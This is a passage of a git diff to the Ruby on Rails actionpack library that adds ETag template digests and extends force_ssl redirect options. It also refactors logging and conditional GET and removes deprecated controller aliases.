- parent_prefixes.dup.unshift(controller_path)
- end
- end
-
- # LookupContext is the object responsible to hold all information required to lookup
- # templates, i.e. view paths and details. Check ActionView::LookupContext for more
- # information.
- def lookup_context
- @_lookup_context ||=
- ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
- end
-
- def details_for_lookup
- { }
- end
-
- def append_view_path(path)
- lookup_context.view_paths.push(*path)
- end
-
- def prepend_view_path(path)
- lookup_context.view_paths.unshift(*path)
- end
-
- module ClassMethods
- # Append a path to the list of view paths for this controller.
- #
- # ==== Parameters
- # * <tt>path</tt> - If a String is provided, it gets converted into
- # the default view path. You may also provide a custom view path
- # (see ActionView::PathSet for more information)
- def append_view_path(path)
- self._view_paths = view_paths + Array(path)
- end
-
- # Prepend a path to the list of view paths for this controller.
- #
- # ==== Parameters
- # * <tt>path</tt> - If a String is provided, it gets converted into
- # the default view path. You may also provide a custom view path
- # (see ActionView::PathSet for more information)
- def prepend_view_path(path)
- self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
- end
-
- # A list of all of the default view paths for this controller.
- def view_paths
- _view_paths
- end
-
- # Set the view paths.
- #
- # ==== Parameters
- # * <tt>paths</tt> - If a PathSet is provided, use that;
- # otherwise, process the parameter into a PathSet.
- def view_paths=(paths)
- self._view_paths = ActionView::PathSet.new(Array(paths))
- end
- end
- end
-end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 1a13d7af29..91ac7eef01 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -17,6 +17,7 @@ module ActionController
autoload :ConditionalGet
autoload :Cookies
autoload :DataStreaming
+ autoload :EtagWithTemplateDigest
autoload :Flash
autoload :ForceSSL
autoload :Head
@@ -33,41 +34,23 @@ module ActionController
autoload :Rendering
autoload :RequestForgeryProtection
autoload :Rescue
- autoload :Responder
autoload :Streaming
autoload :StrongParameters
autoload :Testing
autoload :UrlFor
end
- autoload :Integration, 'action_controller/deprecated/integration_test'
- autoload :IntegrationTest, 'action_controller/deprecated/integration_test'
- autoload :PerformanceTest, 'action_controller/deprecated/performance_test'
- autoload :Routing, 'action_controller/deprecated'
autoload :TestCase, 'action_controller/test_case'
autoload :TemplateAssertions, 'action_controller/test_case'
- eager_autoload do
- autoload :RecordIdentifier
- end
-
def self.eager_load!
super
ActionController::Caching.eager_load!
- HTML.eager_load!
end
end
-# All of these simply register additional autoloads
-require 'action_view'
-require 'action_view/vendor/html-scanner'
-
-ActiveSupport.on_load(:action_view) do
- ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
-end
-
# Common Active Support usage in Action Controller
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/module/attr_internal'
require 'active_support/core_ext/name_error'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index 971c4189c8..5cb11bc479 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -1,9 +1,10 @@
+require 'action_view'
require "action_controller/log_subscriber"
require "action_controller/metal/params_wrapper"
module ActionController
# Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
- # on request and then either render a template or redirect to another action. An action is defined as a public method
+ # on request and then either it renders a template or redirects to another action. An action is defined as a public method
# on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
#
# By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
@@ -43,8 +44,8 @@ module ActionController
# The full request object is available via the request accessor and is primarily used to query for HTTP headers:
#
# def server_ip
- # location = request.env["SERVER_ADDR"]
- # render text: "This server hosted at #{location}"
+ # location = request.env["REMOTE_ADDR"]
+ # render plain: "This server hosted at #{location}"
# end
#
# == Parameters
@@ -59,7 +60,7 @@ module ActionController
# <input type="text" name="post[address]" value="hyacintvej">
#
# A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
- # If the address input had been named "post[address][street]", the params would have included
+ # If the address input had been named <tt>post[address][street]</tt>, the params would have included
# <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
#
# == Sessions
@@ -85,7 +86,7 @@ module ActionController
# or you can remove the entire session with +reset_session+.
#
# Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
- # This prevents the user from tampering with the session but also allows him to see its contents.
+ # This prevents the user from tampering with the session but also allows them to see its contents.
#
# Do not put secret information in cookie-based sessions!
#
@@ -200,7 +201,7 @@ module ActionController
end
MODULES = [
- AbstractController::Layouts,
+ AbstractController::Rendering,
AbstractController::Translation,
AbstractController::AssetPaths,
@@ -208,9 +209,11 @@ module ActionController
HideActions,
UrlFor,
Redirecting,
+ ActionView::Layouts,
Rendering,
Renderers::All,
ConditionalGet,
+ EtagWithTemplateDigest,
RackDelegation,
Caching,
MimeResponds,
@@ -223,7 +226,6 @@ module ActionController
ForceSSL,
Streaming,
DataStreaming,
- RecordIdentifier,
HttpAuthentication::Basic::ControllerMethods,
HttpAuthentication::Digest::ControllerMethods,
HttpAuthentication::Token::ControllerMethods,
@@ -249,10 +251,17 @@ module ActionController
end
# Define some internal variables that should not be propagated to the view.
- self.protected_instance_variables = [
+ PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [
:@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
- :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout
- ]
+ :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout ]
+
+ def _protected_ivars # :nodoc:
+ PROTECTED_IVARS
+ end
+
+ def self.protected_instance_variables
+ PROTECTED_IVARS
+ end
ActiveSupport.run_load_hooks(:action_controller, self)
end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 2892e093af..de85e0c1a7 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -9,14 +9,14 @@ module ActionController
# You can read more about each approach by clicking the modules below.
#
# Note: To turn off all caching, set
- # config.action_controller.perform_caching = false.
+ # config.action_controller.perform_caching = false
#
# == \Caching stores
#
# All the caching stores from ActiveSupport::Cache are available to be used as backends
# for Action Controller caching.
#
- # Configuration examples (MemoryStore is the default):
+ # Configuration examples (FileStore is the default):
#
# config.action_controller.cache_store = :memory_store
# config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
@@ -58,22 +58,22 @@ module ActionController
config_accessor :default_static_extension
self.default_static_extension ||= '.html'
- def self.page_cache_extension=(extension)
- ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
- self.default_static_extension = extension
- end
-
- def self.page_cache_extension
- ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
- default_static_extension
- end
-
config_accessor :perform_caching
self.perform_caching = true if perform_caching.nil?
+
+ class_attribute :_view_cache_dependencies
+ self._view_cache_dependencies = []
+ helper_method :view_cache_dependencies if respond_to?(:helper_method)
+ end
+
+ module ClassMethods
+ def view_cache_dependency(&dependency)
+ self._view_cache_dependencies += [dependency]
+ end
end
- def caching_allowed?
- request.get? && response.status == 200
+ def view_cache_dependencies
+ self.class._view_cache_dependencies.map { |dep| instance_exec(&dep) }.compact
end
protected
diff --git a/actionpack/lib/action_controller/caching/fragments.rb b/actionpack/lib/action_controller/caching/fragments.rb
index 879d5fdd94..2694d4c12f 100644
--- a/actionpack/lib/action_controller/caching/fragments.rb
+++ b/actionpack/lib/action_controller/caching/fragments.rb
@@ -90,7 +90,13 @@ module ActionController
end
def instrument_fragment_cache(name, key) # :nodoc:
- ActiveSupport::Notifications.instrument("#{name}.action_controller", :key => key){ yield }
+ payload = {
+ controller: controller_name,
+ action: action_name,
+ key: key
+ }
+
+ ActiveSupport::Notifications.instrument("#{name}.action_controller", payload) { yield }
end
end
end
diff --git a/actionpack/lib/action_controller/deprecated.rb b/actionpack/lib/action_controller/deprecated.rb
deleted file mode 100644
index 2405bebb97..0000000000
--- a/actionpack/lib/action_controller/deprecated.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-ActionController::AbstractRequest = ActionController::Request = ActionDispatch::Request
-ActionController::AbstractResponse = ActionController::Response = ActionDispatch::Response
-ActionController::Routing = ActionDispatch::Routing
-
-ActiveSupport::Deprecation.warn 'ActionController::AbstractRequest and ActionController::Request are deprecated and will be removed, use ActionDispatch::Request instead.'
-ActiveSupport::Deprecation.warn 'ActionController::AbstractResponse and ActionController::Response are deprecated and will be removed, use ActionDispatch::Response instead.'
-ActiveSupport::Deprecation.warn 'ActionController::Routing is deprecated and will be removed, use ActionDispatch::Routing instead.' \ No newline at end of file
diff --git a/actionpack/lib/action_controller/deprecated/integration_test.rb b/actionpack/lib/action_controller/deprecated/integration_test.rb
deleted file mode 100644
index 54eae48f47..0000000000
--- a/actionpack/lib/action_controller/deprecated/integration_test.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-ActionController::Integration = ActionDispatch::Integration
-ActionController::IntegrationTest = ActionDispatch::IntegrationTest
-
-ActiveSupport::Deprecation.warn 'ActionController::Integration is deprecated and will be removed, use ActionDispatch::Integration instead.'
-ActiveSupport::Deprecation.warn 'ActionController::IntegrationTest is deprecated and will be removed, use ActionDispatch::IntegrationTest instead.'
diff --git a/actionpack/lib/action_controller/deprecated/performance_test.rb b/actionpack/lib/action_controller/deprecated/performance_test.rb
deleted file mode 100644
index c7ba5a2fe7..0000000000
--- a/actionpack/lib/action_controller/deprecated/performance_test.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-ActionController::PerformanceTest = ActionDispatch::PerformanceTest
-
-ActiveSupport::Deprecation.warn 'ActionController::PerformanceTest is deprecated and will be removed, use ActionDispatch::PerformanceTest instead.'
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index 3d274e7dd7..d3f93a5352 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -1,4 +1,3 @@
-
module ActionController
class LogSubscriber < ActiveSupport::LogSubscriber
INTERNAL_PARAMS = %w(controller action format _method only_path)
@@ -16,36 +15,51 @@ module ActionController
end
def process_action(event)
- return unless logger.info?
-
- payload = event.payload
- additions = ActionController::Base.log_process_action(payload)
+ info do
+ payload = event.payload
+ additions = ActionController::Base.log_process_action(payload)
- status = payload[:status]
- if status.nil? && payload[:exception].present?
- exception_class_name = payload[:exception].first
- status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+ status = payload[:status]
+ if status.nil? && payload[:exception].present?
+ exception_class_name = payload[:exception].first
+ status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+ end
+ message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
+ message << " (#{additions.join(" | ")})" unless additions.blank?
+ message
end
- message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
- message << " (#{additions.join(" | ")})" unless additions.blank?
-
- info(message)
end
def halted_callback(event)
- info("Filter chain halted as #{event.payload[:filter]} rendered or redirected")
+ info { "Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected" }
end
def send_file(event)
- info("Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)")
+ info { "Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)" }
end
def redirect_to(event)
- info("Redirected to #{event.payload[:location]}")
+ info { "Redirected to #{event.payload[:location]}" }
end
def send_data(event)
- info("Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)")
+ info { "Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)" }
+ end
+
+ def unpermitted_parameters(event)
+ debug do
+ unpermitted_keys = event.payload[:keys]
+ "Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{unpermitted_keys.join(", ")}"
+ end
+ end
+
+ def deep_munge(event)
+ debug do
+ "Value for params[:#{event.payload[:keys].join('][:')}] was set "\
+ "to nil, because it was one of [], [null] or [null, null, ...]. "\
+ "Go to http://guides.rubyonrails.org/security.html#unsafe-query-generation "\
+ "for more information."\
+ end
end
%w(write_fragment read_fragment exist_fragment?
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index 832dec7b2a..6dd213b2f7 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/array/extract_options'
require 'action_dispatch/middleware/stack'
module ActionController
@@ -29,14 +30,11 @@ module ActionController
end
end
- def build(action, app=nil, &block)
- app ||= block
+ def build(action, app = Proc.new)
action = action.to_s
- raise "MiddlewareStack#build requires an app" unless app
middlewares.reverse.inject(app) do |a, middleware|
- middleware.valid?(action) ?
- middleware.build(a) : a
+ middleware.valid?(action) ? middleware.build(a) : a
end
end
end
@@ -56,7 +54,7 @@ module ActionController
# And then to route requests to your metal controller, you would add
# something like this to <tt>config/routes.rb</tt>:
#
- # match 'hello', to: HelloController.action(:index)
+ # get 'hello', to: HelloController.action(:index)
#
# The +action+ method returns a valid Rack application for the \Rails
# router to dispatch to.
@@ -70,7 +68,8 @@ module ActionController
# can do the following:
#
# class HelloController < ActionController::Metal
- # include ActionController::Rendering
+ # include AbstractController::Rendering
+ # include ActionView::Layouts
# append_view_path "#{Rails.root}/app/views"
#
# def index
@@ -166,7 +165,7 @@ module ActionController
headers["Location"] = url
end
- # basic url_for that can be overridden for more robust functionality
+ # Basic url_for that can be overridden for more robust functionality
def url_for(string)
string
end
@@ -184,6 +183,7 @@ module ActionController
super
end
+ # Tests if render or redirect has already happened.
def performed?
response_body || (response && response.committed?)
end
@@ -222,14 +222,23 @@ module ActionController
# Makes the controller a Rack endpoint that runs the action in the given
# +env+'s +action_dispatch.request.path_parameters+ key.
def self.call(env)
- action(env['action_dispatch.request.path_parameters'][:action]).call(env)
+ req = ActionDispatch::Request.new env
+ action(req.path_parameters[:action]).call(env)
end
# Returns a Rack endpoint for the given action name.
def self.action(name, klass = ActionDispatch::Request)
- middleware_stack.build(name.to_s) do |env|
- new.dispatch(name, klass.new(env))
+ if middleware_stack.any?
+ middleware_stack.build(name) do |env|
+ new.dispatch(name, klass.new(env))
+ end
+ else
+ lambda { |env| new.dispatch(name, klass.new(env)) }
end
end
+
+ def _status_code #:nodoc:
+ @_status
+ end
end
end
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
index 3f9b382a11..b210ee3423 100644
--- a/actionpack/lib/action_controller/metal/conditional_get.rb
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/hash/keys'
module ActionController
module ConditionalGet
@@ -13,9 +13,9 @@ module ActionController
end
module ClassMethods
- # Allows you to consider additional controller-wide information when generating an etag.
+ # Allows you to consider additional controller-wide information when generating an ETag.
# For example, if you serve pages tailored depending on who's logged in at the moment, you
- # may want to add the current user id to be part of the etag to prevent authorized displaying
+ # may want to add the current user id to be part of the ETag to prevent authorized displaying
# of cached pages.
#
# class InvoicesController < ApplicationController
@@ -32,7 +32,7 @@ module ActionController
end
end
- # Sets the etag, +last_modified+, or both on the response and renders a
+ # Sets the +etag+, +last_modified+, or both on the response and renders a
# <tt>304 Not Modified</tt> response if the request is already fresh.
#
# === Parameters:
@@ -41,6 +41,11 @@ module ActionController
# * <tt>:last_modified</tt>.
# * <tt>:public</tt> By default the Cache-Control header is private, set this to
# +true+ if you want your application to be cachable by other devices (proxy caches).
+ # * <tt>:template</tt> By default, the template digest for the current
+ # controller/action is included in ETags. If the action renders a
+ # different template, you can include its digest instead. If the action
+ # doesn't render a template at all, you can pass <tt>template: false</tt>
+ # to skip any attempt to check for a template digest.
#
# === Example:
#
@@ -49,11 +54,11 @@ module ActionController
# fresh_when(etag: @article, last_modified: @article.created_at, public: true)
# end
#
- # This will render the show template if the request isn't sending a matching etag or
+ # This will render the show template if the request isn't sending a matching ETag or
# If-Modified-Since header and just a <tt>304 Not Modified</tt> response if there's a match.
#
# You can also just pass a record where +last_modified+ will be set by calling
- # +updated_at+ and the etag by passing the object itself.
+ # +updated_at+ and the +etag+ by passing the object itself.
#
# def show
# @article = Article.find(params[:id])
@@ -66,18 +71,24 @@ module ActionController
# @article = Article.find(params[:id])
# fresh_when(@article, public: true)
# end
+ #
+ # When rendering a different template than the default controller/action
+ # style, you can indicate which digest to include in the ETag:
+ #
+ # before_action { fresh_when @article, template: 'widgets/show' }
+ #
def fresh_when(record_or_options, additional_options = {})
if record_or_options.is_a? Hash
options = record_or_options
- options.assert_valid_keys(:etag, :last_modified, :public)
+ options.assert_valid_keys(:etag, :last_modified, :public, :template)
else
record = record_or_options
options = { etag: record, last_modified: record.try(:updated_at) }.merge!(additional_options)
end
- response.etag = combine_etags(options[:etag]) if options[:etag]
- response.last_modified = options[:last_modified] if options[:last_modified]
- response.cache_control[:public] = true if options[:public]
+ response.etag = combine_etags(options) if options[:etag] || options[:template]
+ response.last_modified = options[:last_modified] if options[:last_modified]
+ response.cache_control[:public] = true if options[:public]
head :not_modified if request.fresh?(response)
end
@@ -93,6 +104,11 @@ module ActionController
# * <tt>:last_modified</tt>.
# * <tt>:public</tt> By default the Cache-Control header is private, set this to
# +true+ if you want your application to be cachable by other devices (proxy caches).
+ # * <tt>:template</tt> By default, the template digest for the current
+ # controller/action is included in ETags. If the action renders a
+ # different template, you can include its digest instead. If the action
+ # doesn't render a template at all, you can pass <tt>template: false</tt>
+ # to skip any attempt to check for a template digest.
#
# === Example:
#
@@ -108,7 +124,7 @@ module ActionController
# end
#
# You can also just pass a record where +last_modified+ will be set by calling
- # updated_at and the etag by passing the object itself.
+ # +updated_at+ and the +etag+ by passing the object itself.
#
# def show
# @article = Article.find(params[:id])
@@ -133,6 +149,14 @@ module ActionController
# end
# end
# end
+ #
+ # When rendering a different template than the default controller/action
+ # style, you can indicate which digest to include in the ETag:
+ #
+ # def show
+ # super if stale? @article, template: 'widgets/show'
+ # end
+ #
def stale?(record_or_options, additional_options = {})
fresh_when(record_or_options, additional_options)
!request.fresh?(response)
@@ -168,8 +192,9 @@ module ActionController
end
private
- def combine_etags(etag)
- [ etag, *etaggers.map { |etagger| instance_exec(&etagger) }.compact ]
+ def combine_etags(options)
+ etags = etaggers.map { |etagger| instance_exec(options, &etagger) }.compact
+ etags.unshift options[:etag]
end
end
end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 75c4d3ef99..1abd8d3a33 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -96,7 +96,7 @@ module ActionController #:nodoc:
end
# Sends the given binary data to the browser. This method is similar to
- # <tt>render text: data</tt>, but also allows you to specify whether
+ # <tt>render plain: data</tt>, but also allows you to specify whether
# the browser should display the response as a file attachment (i.e. in a
# download dialog) or as inline data. You may also set the content type,
# the apparent file name, and other things.
diff --git a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
new file mode 100644
index 0000000000..f9303efe6c
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
@@ -0,0 +1,50 @@
+module ActionController
+ # When our views change, they should bubble up into HTTP cache freshness
+ # and bust browser caches. So the template digest for the current action
+ # is automatically included in the ETag.
+ #
+ # Enabled by default for apps that use Action View. Disable by setting
+ #
+ # config.action_controller.etag_with_template_digest = false
+ #
+ # Override the template to digest by passing +:template+ to +fresh_when+
+ # and +stale?+ calls. For example:
+ #
+ # # We're going to render widgets/show, not posts/show
+ # fresh_when @post, template: 'widgets/show'
+ #
+ # # We're not going to render a template, so omit it from the ETag.
+ # fresh_when @post, template: false
+ #
+ module EtagWithTemplateDigest
+ extend ActiveSupport::Concern
+
+ include ActionController::ConditionalGet
+
+ included do
+ class_attribute :etag_with_template_digest
+ self.etag_with_template_digest = true
+
+ ActiveSupport.on_load :action_view, yield: true do |action_view_base|
+ etag do |options|
+ determine_template_etag(options) if etag_with_template_digest
+ end
+ end
+ end
+
+ private
+ def determine_template_etag(options)
+ if template = pick_template_for_etag(options)
+ lookup_and_digest_template(template)
+ end
+ end
+
+ def pick_template_for_etag(options)
+ options.fetch(:template) { "#{controller_name}/#{action_name}" }
+ end
+
+ def lookup_and_digest_template(template)
+ ActionView::Digestor.digest name: template, finder: lookup_context
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
index 3844dbf2a6..18e003741d 100644
--- a/actionpack/lib/action_controller/metal/exceptions.rb
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -25,7 +25,7 @@ module ActionController
end
end
- class ActionController::UrlGenerationError < RoutingError #:nodoc:
+ class ActionController::UrlGenerationError < ActionControllerError #:nodoc:
end
class MethodNotAllowed < ActionControllerError #:nodoc:
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
index b078beb675..65351284b9 100644
--- a/actionpack/lib/action_controller/metal/flash.rb
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -11,6 +11,23 @@ module ActionController #:nodoc:
end
module ClassMethods
+ # Creates new flash types. You can pass as many types as you want to create
+ # flash types other than the default <tt>alert</tt> and <tt>notice</tt> in
+ # your controllers and views. For instance:
+ #
+ # # in application_controller.rb
+ # class ApplicationController < ActionController::Base
+ # add_flash_types :warning
+ # end
+ #
+ # # in your controller
+ # redirect_to user_path(@user), warning: "Incomplete profile"
+ #
+ # # in your view
+ # <%= warning %>
+ #
+ # This method will automatically define a new method for each of the given
+ # names, and it will be available in your views.
def add_flash_types(*types)
types.each do |type|
next if _flash_types.include?(type)
@@ -20,7 +37,7 @@ module ActionController #:nodoc:
end
helper_method type
- _flash_types << type
+ self._flash_types += [type]
end
end
end
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
index f1e8714a86..d920668184 100644
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -1,3 +1,6 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+
module ActionController
# This module provides a method which will redirect browser to use HTTPS
# protocol. This will ensure that user's sensitive information will be
@@ -14,6 +17,10 @@ module ActionController
extend ActiveSupport::Concern
include AbstractController::Callbacks
+ ACTION_OPTIONS = [:only, :except, :if, :unless]
+ URL_OPTIONS = [:protocol, :host, :domain, :subdomain, :port, :path]
+ REDIRECT_OPTIONS = [:status, :flash, :alert, :notice]
+
module ClassMethods
# Force the request to this particular controller or specified actions to be
# under HTTPS protocol.
@@ -29,18 +36,34 @@ module ActionController
# end
# end
#
- # ==== Options
- # * <tt>host</tt> - Redirect to a different host name
- # * <tt>only</tt> - The callback should be run only for this action
- # * <tt>except</tt> - The callback should be run for all actions except this action
- # * <tt>if</tt> - A symbol naming an instance method or a proc; the callback
- # will be called only when it returns a true value.
- # * <tt>unless</tt> - A symbol naming an instance method or a proc; the callback
- # will be called only when it returns a false value.
+ # ==== URL Options
+ # You can pass any of the following options to affect the redirect url
+ # * <tt>host</tt> - Redirect to a different host name
+ # * <tt>subdomain</tt> - Redirect to a different subdomain
+ # * <tt>domain</tt> - Redirect to a different domain
+ # * <tt>port</tt> - Redirect to a non-standard port
+ # * <tt>path</tt> - Redirect to a different path
+ #
+ # ==== Redirect Options
+ # You can pass any of the following options to affect the redirect status and response
+ # * <tt>status</tt> - Redirect with a custom status (default is 301 Moved Permanently)
+ # * <tt>flash</tt> - Set a flash message when redirecting
+ # * <tt>alert</tt> - Set an alert message when redirecting
+ # * <tt>notice</tt> - Set a notice message when redirecting
+ #
+ # ==== Action Options
+ # You can pass any of the following options to affect the before_action callback
+ # * <tt>only</tt> - The callback should be run only for this action
+ # * <tt>except</tt> - The callback should be run for all actions except this action
+ # * <tt>if</tt> - A symbol naming an instance method or a proc; the callback
+ # will be called only when it returns a true value.
+ # * <tt>unless</tt> - A symbol naming an instance method or a proc; the callback
+ # will be called only when it returns a false value.
def force_ssl(options = {})
- host = options.delete(:host)
- before_action(options) do
- force_ssl_redirect(host)
+ action_options = options.slice(*ACTION_OPTIONS)
+ redirect_options = options.except(*ACTION_OPTIONS)
+ before_action(action_options) do
+ force_ssl_redirect(redirect_options)
end
end
end
@@ -48,14 +71,26 @@ module ActionController
# Redirect the existing request to use the HTTPS protocol.
#
# ==== Parameters
- # * <tt>host</tt> - Redirect to a different host name
- def force_ssl_redirect(host = nil)
+ # * <tt>host_or_options</tt> - Either a host name or any of the url & redirect options
+ # available to the <tt>force_ssl</tt> method.
+ def force_ssl_redirect(host_or_options = nil)
unless request.ssl?
- redirect_options = {:protocol => 'https://', :status => :moved_permanently}
- redirect_options.merge!(:host => host) if host
- redirect_options.merge!(:params => request.query_parameters)
+ options = {
+ :protocol => 'https://',
+ :host => request.host,
+ :path => request.fullpath,
+ :status => :moved_permanently
+ }
+
+ if host_or_options.is_a?(Hash)
+ options.merge!(host_or_options)
+ elsif host_or_options
+ options[:host] = host_or_options
+ end
+
+ secure_url = ActionDispatch::Http::URL.url_for(options.slice(*URL_OPTIONS))
flash.keep if respond_to?(:flash)
- redirect_to redirect_options
+ redirect_to secure_url, options.slice(*REDIRECT_OPTIONS)
end
end
end
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index bbace49fd9..3d2badf9c2 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -1,8 +1,6 @@
module ActionController
module Head
- extend ActiveSupport::Concern
-
- # Return a response that has no content (merely headers). The options
+ # Returns a response that has no content (merely headers). The options
# argument is interpreted to be a hash of header names and values.
# This allows you to easily return a response that consists only of
# significant headers:
@@ -16,6 +14,8 @@ module ActionController
# return head(:method_not_allowed) unless request.post?
# return head(:bad_request) unless valid_request?
# render
+ #
+ # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list of valid +status+ symbols.
def head(status, options = {})
options, status = status, nil if status.is_a?(Hash)
status ||= options.delete(:status) || :ok
@@ -29,8 +29,9 @@ module ActionController
self.status = status
self.location = url_for(location) if location
- if include_content?(self.status)
+ if include_content?(self._status_code)
self.content_type = content_type || (Mime[formats.first] if formats)
+ self.response.charset = false if self.response
self.response_body = " "
else
headers.delete('Content-Type')
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index d2cbbd3330..a9c3e438fb 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -1,4 +1,3 @@
-
module ActionController
# The \Rails framework provides a large number of helpers for working with assets, dates, forms,
# numbers and model objects, to name a few. These helpers are available to all templates
@@ -6,7 +5,7 @@ module ActionController
#
# In addition to using the standard template helpers provided, creating custom helpers to
# extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
- # will include all helpers.
+ # will include all helpers. These helpers are only accessible on the controller through <tt>.helpers</tt>
#
# In previous versions of \Rails the controller will include a helper whose
# name matches that of the controller, e.g., <tt>MyController</tt> will automatically
@@ -74,7 +73,11 @@ module ActionController
# Provides a proxy to access helpers methods from outside the view.
def helpers
- @helper_proxy ||= ActionView::Base.new.extend(_helpers)
+ @helper_proxy ||= begin
+ proxy = ActionView::Base.new
+ proxy.config = config.inheritable_copy
+ proxy.extend(_helpers)
+ end
end
# Overwrite modules_for_helpers to accept :all as argument, which loads
@@ -91,11 +94,10 @@ module ActionController
end
def all_helpers_from_path(path)
- helpers = []
- Array(path).each do |_path|
- extract = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/
+ helpers = Array(path).flat_map do |_path|
+ extract = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/
names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1') }
- helpers += names.sort
+ names.sort!
end
helpers.uniq!
helpers
diff --git a/actionpack/lib/action_controller/metal/hide_actions.rb b/actionpack/lib/action_controller/metal/hide_actions.rb
index 2aa6b7adaf..af36ffa240 100644
--- a/actionpack/lib/action_controller/metal/hide_actions.rb
+++ b/actionpack/lib/action_controller/metal/hide_actions.rb
@@ -27,7 +27,7 @@ module ActionController
end
def visible_action?(action_name)
- action_methods.include?(action_name)
+ not hidden_actions.include?(action_name)
end
# Overrides AbstractController::Base#action_methods to remove any methods
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 283f6413ec..fd578d60ca 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -11,11 +11,11 @@ module ActionController
# http_basic_authenticate_with name: "dhh", password: "secret", except: :index
#
# def index
- # render text: "Everyone can see me!"
+ # render plain: "Everyone can see me!"
# end
#
# def edit
- # render text: "I'm only accessible if you know the password"
+ # render plain: "I'm only accessible if you know the password"
# end
# end
#
@@ -29,7 +29,7 @@ module ActionController
#
# protected
# def set_account
- # @account = Account.find_by_url_name(request.subdomains.first)
+ # @account = Account.find_by(url_name: request.subdomains.first)
# end
#
# def authenticate
@@ -90,17 +90,29 @@ module ActionController
end
def authenticate(request, &login_procedure)
- unless request.authorization.blank?
+ if has_basic_credentials?(request)
